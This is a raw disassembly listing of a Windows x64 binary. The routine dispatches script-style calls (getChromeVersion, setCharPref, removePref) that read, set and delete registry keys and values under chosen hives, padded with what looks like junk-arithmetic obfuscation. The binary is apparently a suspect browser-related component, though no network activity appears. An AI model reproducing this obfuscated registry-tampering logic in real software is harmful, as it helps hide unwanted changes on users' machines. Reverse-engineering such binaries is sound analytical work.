mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x700], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051f2a
mov rdx, qword [rsp + 0x700]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x140051f42
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], 0xf
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140051f91
mov rdx, qword [rsp + 0x8f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558ae
mov r8d, dword [0x1401a3d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
and ecx, 0x80000007
jge 0x140051fdf
sub ecx, r15d
or ecx, 0xfffffff8
add ecx, r15d
cmp ecx, 3
jne 0x140055763
mov ecx, r15d
mov dword [rsp + 0x220], ecx
cmp ecx, r8d
jge 0x14005200a
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x220], ecx
jmp 0x140051ff2
mov dword [0x1401a3d80], ecx
jmp 0x140055763
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x14005239c
test r14, r14
je 0x140055763
call fcn.14004fa90
test al, al
jne 0x1400520d3
mov r10d, 0x21
mov dword [rsp + 0x298], r10d
mov ecx, edi
mov dword [rsp + 0x2c0], ecx
mov r11d, dword [0x1401a3d80]
cmp ecx, r10d
jge 0x1400520d3
mov r8d, edi
mov dword [rsp + 0x2d0], edi
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r8d, eax
jge 0x1400520c7
mov r9d, edi
mov dword [rsp + 0x230], edi
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp r9d, eax
jge 0x1400520ba
mov eax, r8d
imul eax, ecx
sub eax, r9d
add r10d, eax
mov dword [rsp + 0x298], r10d
add r9d, r15d
mov dword [rsp + 0x230], r9d
jmp 0x140052088
add r8d, r15d
mov dword [rsp + 0x2d0], r8d
jmp 0x140052071
add ecx, r15d
mov dword [rsp + 0x2c0], ecx
jmp 0x140052062
lea rcx, [rsp + 0x710]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x228], rdi
mov r13d, dword [0x1401a3d80]
mov ecx, r13d
imul ecx, r13d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 6
jne 0x1400521b3
mov r10d, edi
mov dword [rsp + 0x274], edi
cmp r10d, 0xc
jge 0x1400521b3
mov r11d, edi
mov dword [rsp + 0x2ec], edi
cmp r11d, 6
jge 0x1400521a3
mov ebx, edi
mov dword [rsp + 0x2e4], ebx
cmp ebx, 0xc
jge 0x140052196
lea r12d, [rbx + 1]
lea ecx, [r11 + 1]
mov eax, r13d
cdq
idiv ecx
mov r9d, edx
mov eax, r13d
sub eax, r10d
imul r9d, eax
mov eax, r13d
cdq
idiv r12d
imul r9d, eax
movsxd rax, r10d
lea rcx, [rax + rax*2]
movsxd rax, r11d
lea rcx, [rax + rcx*2]
lea r8, [rcx + rcx*2]
movsxd rax, ebx
lea rcx, [rsp + 0x3e30]
add rcx, rax
mov byte [rcx + r8*4], r9b
mov ebx, r12d
jmp 0x14005213b
add r11d, r15d
mov dword [rsp + 0x2ec], r11d
jmp 0x140052133
add r10d, r15d
mov dword [rsp + 0x274], r10d
jmp 0x14005211f
mov rcx, qword [rsp + 0x710]
mov qword [rsp + 0x228], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x228], rdx
lea rcx, [rsp + 0x248]
call fcn.1400020c0
nop
mov ebx, edi
mov r12d, 8
mov dword [rsp + 0xf8], ebx
cmp ebx, r12d
jge 0x140052293
lea rcx, [rsp + 0x238]
call fcn.1400020c0
nop
movsxd rax, ebx
movzx r8d, byte [rsp + rax + 0x228]
lea rdx, str._.2x
lea rcx, [rsp + 0x238]
call fcn.14000fe60
mov rdx, qword [rsp + 0x238]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x968], r8d
lea rcx, [rsp + 0x248]
call fcn.14000e4ec
nop
mov rcx, qword [rsp + 0x238]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x478], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052284
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ebx, dword [rsp + 0xf8]
add ebx, r15d
jmp 0x1400521f2
mov rcx, qword [rsp + 0x248]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x970], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x1030], rax
test rax, rax
jne 0x1400522bd
call fcn.1400023fc
mov qword [r14 + 8], rax
mov word [r14], r12w
call fcn.14004fc6c
test al, al
jne 0x140052361
mov r10d, RegisterTypeLib
mov dword [rsp + 0x240], r10d
mov ecx, edi
mov dword [rsp + 0x194], ecx
mov r11d, dword [0x1401a3d80]
cmp ecx, r10d
jge 0x140052361
mov r8d, edi
mov dword [rsp + 0x18c], edi
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r8d, eax
jge 0x140052355
mov r9d, edi
mov dword [rsp + 0x188], edi
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp r9d, eax
jge 0x140052348
mov eax, r8d
imul eax, ecx
sub eax, r9d
add r10d, eax
mov dword [rsp + 0x240], r10d
add r9d, r15d
mov dword [rsp + 0x188], r9d
jmp 0x140052316
add r8d, r15d
mov dword [rsp + 0x18c], r8d
jmp 0x1400522ff
add ecx, r15d
mov dword [rsp + 0x194], ecx
jmp 0x1400522f0
mov rcx, qword [rsp + 0x248]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x488], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055763
mov rdx, qword [rsp + 0x488]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140055763
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140052472
lea rdx, [rsp + 0x430]
mov rcx, qword [r13 + 0x40]
call fcn.14004ff20
nop
mov eax, dword [0x1401a3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x11
jne 0x140052403
mov dword [rsp + 0x1170], edi
mov dword [rsp + 0x11a8], edi
mov dword [rsp + 0x11e0], edi
test r14, r14
je 0x140052440
mov rcx, qword [rsp + 0x430]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x980], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xb10], rax
test rax, rax
jne 0x140052432
call fcn.1400023fc
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
mov rcx, qword [rsp + 0x430]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x498], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055763
mov rdx, qword [rsp + 0x498]
jmp 0x14005238e
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x14005250c
lea rdx, [rsp + 0x450]
mov rcx, qword [r13 + 0x40]
call fcn.14004ff60
nop
test r14, r14
je 0x1400524da
mov rcx, qword [rsp + 0x450]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x990], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe40], rax
test rax, rax
jne 0x1400524cc
call fcn.1400023fc
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
mov rcx, qword [rsp + 0x450]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055763
mov rdx, qword [rsp + 0x4a8]
jmp 0x14005238e
lea rdx, str.getCharPref
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
je 0x14005527b
lea rdx, str.getIntPref
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
je 0x14005527b
lea rdx, str.setCharPref
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140052aae
mov eax, dword [0x1401a3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 4
jne 0x140052598
call fcn.1400bba88
mov ecx, dword [0x1401a3d80]
cmp ecx, eax
jne 0x140052598
sub ecx, r15d
mov dword [0x1401a3d80], ecx
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb20], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x10c8], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb30], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xe50], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb40], rax
lea rdx, [0x140137788]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x1040], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov byte [rsp + 0x62], dil
mov qword [rsp + 0x130], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb50], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0xe60], rax
lea rcx, [0x1401a4c28]
cmp rax, rcx
je 0x1400528d3
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb60], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x10b0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb70], rdx
lea rcx, [rsp + 0x3f8]
call fcn.140002d94
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x130], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x3f8]
call fcn.140003030
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x130], rbx
mov rcx, qword [rsp + 0x3f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052732
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x130], rdi
je 0x1400528d3
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xe70], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xb80], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1050], rdx
lea rcx, [rsp + 0x320]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xb90], rax
lea rdx, [0x140137788]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xe80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xba0], rdx
lea rcx, [rsp + 0x3b0]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x10d0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xbb0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe90], rdx
lea rcx, [rsp + 0x310]
call fcn.140002d94
nop
mov r9, qword [rsp + 0x130]
lea r8, [rsp + 0x320]
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0x310]
call fcn.14003c144
mov byte [rsp + 0x62], al
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005286e
mov rdx, qword [rsp + 0x4c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400528a1
mov rdx, qword [rsp + 0x4d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052a88
mov rdx, qword [rsp + 0x4e8]
jmp 0x140052a7f
lea rax, [rsp + 0x4f8]
mov qword [rsp + 0xbc0], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x1060], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xbd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xea0], rdx
lea rcx, [rsp + 0x3c0]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xbe0], rax
lea rdx, [0x140137788]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x10c0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbf0], rdx
lea rcx, [rsp + 0x330]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xeb0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xc00], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1070], rdx
lea rcx, [rsp + 0x400]
call fcn.140002d94
nop
lea rdx, [0x140131658]
lea rcx, [rsp + 0x4f8]
call fcn.1400020f8
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x14019ed48]
lea r8, [rsp + 0x3c0]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x400]
call fcn.14003bed4
mov byte [rsp + 0x62], al
mov rcx, qword [rsp + 0x400]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052a23
mov rdx, qword [rsp + 0x508]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052a56
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052a88
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140055763
mov al, byte [rsp + 0x62]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov r12d, 0xb
mov word [r14], r12w
jmp 0x140055763
lea rdx, str.setIntPref
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140052f53
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc10], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xec0], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc20], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x10e0], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc30], rax
lea rdx, [0x140137788]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xed0], rax
mov cl, byte [rax + 8]
mov al, cl
sub al, r15b
cmp al, 2
jbe 0x140052b77
cmp cl, 5
jne 0x140055763
mov byte [rsp + 0x61], dil
mov qword [rsp + 0x138], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc40], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0x1080], rax
lea rcx, [0x1401a4c28]
cmp rax, rcx
je 0x140052dd0
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc50], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xee0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc60], rdx
lea rcx, [rsp + 0x340]
call fcn.140002d94
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x138], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x340]
call fcn.140003030
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x138], rbx
mov rcx, qword [rsp + 0x340]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052c6c
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x138], rdi
je 0x140052dd0
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x10d8], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xc70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xef0], rdx
lea rcx, [rsp + 0x350]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc80], rax
lea rdx, [0x140137788]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x1090], rax
mov rcx, rax
call fcn.14002f2dc
mov dword [rsp + 0x19c], eax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xc90], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xf00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xca0], rdx
lea rcx, [rsp + 0x408]
call fcn.140002d94
nop
mov r9, qword [rsp + 0x138]
lea r8, [rsp + 0x350]
lea rdx, [rsp + 0x19c]
lea rcx, [rsp + 0x408]
call fcn.14003c2d0
mov byte [rsp + 0x61], al
mov rcx, qword [rsp + 0x408]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052d9e
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052f41
mov rdx, qword [rsp + 0x558]
jmp 0x140052f38
lea rax, [rsp + 0x568]
mov qword [rsp + 0x1010], rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xcb0], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xf10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc0], rdx
lea rcx, [rsp + 0x360]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x1008], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xcd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf20], rdx
lea rcx, [rsp + 0x3d0]
call fcn.140002d94
nop
lea rdx, [0x140131658]
lea rcx, [rsp + 0x568]
call fcn.1400020f8
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xce0], rax
lea rdx, [0x140137788]
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0x1028], rax
mov rcx, rax
call fcn.14002f2dc
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x14019ed48]
lea r8, [rsp + 0x360]
lea rcx, [rsp + 0x3d0]
call fcn.14003cd44
mov byte [rsp + 0x61], al
mov rcx, qword [rsp + 0x3d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052f0f
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140052f41
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140055763
mov al, byte [rsp + 0x61]
jmp 0x140052a95
lea rdx, str.removePref
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x140053741
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xcf0], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xf30], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov byte [rsp + 0x60], dil
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xd00], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0x1038], rax
lea rcx, [0x1401a4c28]
mov rdx, rbx
cmp rax, rcx
lea rcx, [rsp + 0x68]
je 0x140053489
call fcn.14002f7b8
mov qword [rsp + 0xd10], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xf40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd20], rdx
lea rcx, [rsp + 0x268]
call fcn.140002d94
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x268]
call fcn.140003030
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x1048], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xd30], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xf60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd40], rdx
lea rax, [rsp + 0x258]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, eax
mov dword [rsp + 0x98], eax
test eax, eax
je 0x140053263
mov r8d, dword [0x1401a3d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 5
jne 0x140053160
movsd xmm3, qword [0x140138420]
movsd qword [rsp + 0x598], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x428], xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movsd qword [rsp + 0x428], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140053148
subsd xmm2, xmm3
movsd qword [rsp + 0x428], xmm2
divsd xmm3, qword [0x140138448]
movsd qword [rsp + 0x598], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x140138418]
ja 0x140053110
test r14, r14
je 0x140053172
mov dword [r14 + 8], r9d
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x268]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400531a5
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400531d5
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x1400531ed
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], 0xf
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005323c
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0x1058], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xd50], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf80], rdx
lea rcx, [rsp + 0x370]
call fcn.140002d94
nop
mov rdx, qword [rsp + 0x370]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x480], eax
mov rcx, qword [rsp + 0x258]
test eax, eax
jne 0x14005331d
lea rdx, [0x140131658]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0x98], eax
test eax, eax
jne 0x14005332e
mov eax, dword [0x1401a3d80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 0xa
jne 0x140053342
lea rcx, [rsp + 0x3560]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x140053342
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x98], eax
test eax, eax
je 0x140053342
test r14, r14
je 0x140053356
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
jmp 0x140053356
test r14, r14
je 0x140053356
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053398
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
